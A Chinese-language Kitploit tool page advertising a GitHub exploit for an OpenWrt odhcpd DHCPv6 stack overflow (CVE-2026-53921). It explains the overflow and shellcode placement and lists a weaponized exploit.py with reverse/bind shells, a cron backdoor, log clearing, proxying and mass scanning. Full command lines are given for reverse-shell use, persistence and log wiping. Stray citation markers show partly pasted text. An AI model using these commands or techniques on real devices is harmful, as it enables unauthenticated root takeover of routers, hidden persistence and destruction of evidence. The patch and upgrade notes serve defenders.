Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-53921-PoC-Exploit — CVE-2026-53921 – odhcpd 栈溢出(CVSS 9.8)🛡️ 漏洞详细全面的 Write-Up 及验证器与多漏洞利用,针对 OpenWrt DHCPv6 RCE。双向量(IA_NA/IA_PD)溢出,包含 MIPS/ARM shellcode、ROP 链、SOCKS5 代理、持久化、日志清理及批量扫描。请合乎道德地使用,保持合法。🔒 | Kitploit
工具/GitHubGitHub/tc4dy/cve-2026-53921-poc-exploit
嵌入式系统安全侦察漏洞利用框架物联网安全漏洞分析漏洞利用后渗透利用红队Shellcode 生成

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
Payload 开发
二进制利用
GitHubtc4dy/cve-2026-53921-poc-exploit

CVE-2026-53921-PoC-Exploit

CVE-2026-53921 – odhcpd 栈溢出(CVSS 9.8)🛡️ 漏洞详细全面的 Write-Up 及验证器与多漏洞利用,针对 OpenWrt DHCPv6 RCE。双向量(IA_NA/IA_PD)溢出,包含 MIPS/ARM shellcode、ROP 链、SOCKS5 代理、持久化、日志清理及批量扫描。请合乎道德地使用,保持合法。🔒

查看仓库
614211天前尚未审核

CVE-2026-53921

CVE-2026-53921 – odhcpd 栈溢出

CVE CVSS OpenWrt

  • 仅供教育和授权测试使用。未经授权的使用是非法的。**

漏洞概述

CVE-2026-53921 是 OpenWrt 的 odhcpd 守护进程(默认的 DHCPv6/DHCPv4/RA 服务器)中的一个严重 栈缓冲区溢出 漏洞。

工作原理

该漏洞存在于 odhcpd 的 DHCPv6 消息处理代码中, 具体位于 build_ia() 和 dhcpv6_ia_handle_IAs() 函数中。

技术深入分析

1. 根本原因

该漏洞发生在 DHCPv6 Reply 数据包的 序列化(打包)过程中。 当 odhcpd 响应客户端请求时,它在一个固定大小的 512 字节 栈缓冲区中构造回复, 而没有进行适当的边界检查。

// 漏洞代码的简化表示

static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
    // 写入前没有边界检查
    memcpy(buf + *len, ia->data, ia->length);
    *len += ia->length;
}

2. 触发溢出

攻击者发送一个 DHCPv6 Request(或 Solicit),其中包含:

  • 5 个或更多 IA_NA(非临时地址身份关联)选项,每个选项包含一个 IAAddress 子选项。
  • 22 个或更多 IA_PD(前缀委派身份关联)选项。

当 odhcpd 构造其 Reply 时,每个选项都会消耗栈空间。累积的数据超过 512 字节,导致溢出。

3. 两个溢出向量


向量 触发条件 溢出点


站点 1 5 个带 IPv6 地址的 IA_NA 的 build_ia() IA_NA 选项

站点 2 22 个 IA_PD 选项 IA_PD 的 build_ia()

根本原因相同,但溢出发生在不同的代码路径中,使得两个向量同样可被利用。

4. 内存布局

栈布局(简化):

+-------------------+  <-- 高地址
|    返回地址       |  ← 被攻击者控制的值覆盖
+-------------------+
|  保存的帧指针     |
+-------------------+
|  局部变量         |  ← 512 字节缓冲区
+-------------------+  <-- 低地址

攻击者覆盖保存的返回地址,使其指向内存中的 shellcode。

5. 利用要求


要求 描述


网络访问 攻击者必须与目标具有 IPv6 连接

身份验证 无 -- 未认证攻击

权限 odhcpd 以 root 运行,因此 RCE 可授予 完整的系统控制权

目标服务 UDP 端口 547(DHCPv6)必须开放

6. Shellcode 放置

在实际利用中,攻击者的 shellcode 被放置在 IAAddress IPv6 地址字段中(每个 IA_NA 16 字节)。构造的数据包将 shellcode、NOP sled 和返回地址打包到这些字段中。

构造的 IA_NA 结构:

+-------------------+
| IA_NA 头部        | (12 字节)
+-------------------+
| IAAddress 1       | ← NOP sled + shellcode
+-------------------+
| IAAddress 2       | ← NOP sled + shellcode
+-------------------+
| IAAddress 3       | ← NOP sled + shellcode
+-------------------+
| IAAddress 4       | ← 返回地址
+-------------------+
| IAAddress 5       | ← 返回地址
+-------------------+

7. 影响链

构造的 DHCPv6 请求
         ↓
odhcpd 处理 IA_NA/IA_PD 选项
         ↓
512 字节栈缓冲区溢出
         ↓
返回地址被覆盖
         ↓
CPU 跳转到 shellcode
         ↓
反向 shell / 绑定 shell / RCE
         ↓
完整系统沦陷(root 权限)

8. 攻击向量与缓解状态

版本 状态 可能 RCE?


odhcpd < e432dd6 易受攻击 [+] 是 OpenWrt < 24.10.8 易受攻击 [+] 是 OpenWrt < 25.12.5 易受攻击 [+] 是 OpenWrt 24.10.8+ 已修补 [-] 否 OpenWrt 25.12.5+ 已修补 [-] 否 odhcpd master + e432dd6 已修补 [-] 否

9. 真实世界利用

该漏洞特别危险,因为:

  • odhcpd 在 OpenWrt 安装中默认启用。
  • 不需要身份验证——同一 IPv6 网段上的任何设备都可以发起攻击。
  • 该漏洞位于请求处理路径中。
  • 栈金丝雀和 ASLR 在嵌入式 MIPS/ARM 设备上很少存在。
  • 该利用可以绕过许多嵌入式环境中的常见防御措施。

受影响版本

组件易受攻击版本修复于
odhcpd(master 分支)提交 e432dd6 之前e432dd6 或更高版本
OpenWrt 发行版< 24.10.8
< 25.12.5
24.10.8 和 25.12.5

工具

本仓库提供 两个独立脚本:

脚本用途利用代码安全性
verifier.py非侵入式漏洞检查[-] 否[+] 安全
exploit.py完整武器化利用[+] 是[!] 危险

verifier.py – 漏洞检查器

  • 发送标准 DHCPv6 Solicit 以验证服务是否处于活动状态。
  • 读取 HTTP/SSH 横幅以检测 OpenWrt 版本。
  • 将版本与已知易受攻击范围进行比较。
  • 不会 发送任何溢出载荷或 shellcode。

exploit.py – 完整利用

  • 双溢出向量:IA_NA(站点1)和 IA_PD(站点2)。
  • 自动架构检测(MIPS / ARM)。
  • MIPS 大端序反向和绑定 shellcode。
  • 支持 SOCKS5 代理。
  • 持久化(cron 后门)和 日志清除。
  • 多线程扫描和批量利用。
  • 可选载荷编码(XOR)。

安装

git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#注意:两个脚本都需要 root 权限来构造原始 IPv6 数据包。

用法

验证器 – 检查目标是否易受攻击

sudo python3 verifier.py -u fe80::1%eth0 -i eth0

利用 – 获取反向 shell(不要用于非法活动,仅用于测试)

sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444

命令行选项

verifier.py

参数描述
-u, --target目标 IPv6 地址(必需)
-i, --iface网络接口(默认:eth0)

exploit.py

参数描述
-u, --target目标 IPv6 地址
-l, --list包含目标列表的文件
-i, --iface网络接口(默认:eth0)
--lhost监听器 IP(必需)
--lport监听器端口(默认:4444)
--vectorsite1、site2 或 both(默认:both)
--offset栈偏移(默认:512)
--ret十六进制返回地址(例如 0x7ffff000)
--arch强制 mips 或 arm(省略时自动检测)
--payloadreverse 或 bind(默认:reverse)
--encodenone 或 xor(默认:none)
--proxy-hostSOCKS5 代理 IP
--proxy-portSOCKS5 代理端口(默认:1080)
--persistence安装 cron 后门
--clear-logs利用后清除 syslog
--scan-only仅扫描目标,不进行利用
--threads扫描线程数(默认:5)
--verbose详细日志记录

示例场景

1. 扫描目标列表

sudo python3 exploit.py -l targets.txt --scan-only --threads 10
### 2. 使用绑定 shell 利用单个目标
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --payload bind --lport 31337
### 3. 使用 SOCKS5 代理 + 持久化 + 日志清除
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --proxy-host 127.0.0.1 --proxy-port 9050 --persistence --clear-logs

缓解措施

将 OpenWrt 升级到 24.10.8 或 25.12.5 或更高版本。

opkg update
opkg upgrade odhcpd

参考资料

官方来源

  • OpenWrt 安全公告 (GHSA-7fwx-hhrg-3496) https://github.com/openwrt/odhcpd/security/advisories/GHSA-7fwx-hhrg-3496 涵盖 odhcpd 中两个溢出向量的详细公告。

  • CVE-2026-53921 NVD 条目 https://nvd.nist.gov/vuln/detail/CVE-2026-53921 官方 NIST 漏洞数据库条目。

  • OpenWrt 24.10.8 发行说明 https://forum.openwrt.org/t/openwrt-24-10-8-service-release/252195 24.10 分支的官方发布公告。

  • OpenWrt 25.12.5 发行说明 https://lists.openwrt.org/pipermail/openwrt-announce/2026-June/000088.html 25.12 分支的官方发布公告。

同一版本中修复的相关 CVE

24.10.8 和 25.12.5 版本修复了 CVE-2026-53921 之外的多个 odhcpd 漏洞 [citation:9]:

CVE ID严重性描述
CVE-2026-53918高DHCPv6 IA 处理程序中的释放后使用 [citation:4][citation:9]
CVE-2026-53920高通过截断的 DHCPv6 IA_NA/IA_PD 选项泄露栈内存 [citation:9]
CVE-2026-53922中通过 size_t 下溢导致的预认证拒绝服务 [citation:9]
CVE-2026-55606中由于 DUID 长度字节序不匹配导致的栈缓冲区过度读取 [citation:9]
CVE-2026-62948-DHCPv6 主机名注入导致存储型 XSS [citation:1]
CVE-2026-62947-cgi-io 中的认证路径遍历 [citation:1]

技术分析与文章

  • The Hacker News 分析 https://thehackernews.com/2026/07/critical-openwrt-dhcpv6-flaw-could-let.html 漏洞和利用向量的详细技术分析。 [citation:1]

  • GitHub PoC 仓库 https://github.com/0xBlackash/CVE-2026-53921 公开的概念验证实现和技术细节。 [citation:3]

25.12.5 中的其他安全修复

版本 25.12.5 还修复了其他核心组件中的漏洞 [citation:10]:

  • uhttpd:HTTP 请求走私(CVE-2026-55612、CVE-2026-55614)
  • LuCI:多个权限提升和 XSS 缺陷
  • cgi-io:认证路径遍历
  • Linux 内核:更新至 6.12.94,修复多个 CVE
  • OpenSSL:更新至 3.5.7,解决大量 CVE
  • Dropbear SSH:修复 CVE-2019-6111 和 CVE-2026-35385

支持文档

  • OpenWrt 固件选择器 https://firmware-selector.openwrt.org/ 为您的设备下载已修补的固件镜像。
下载工具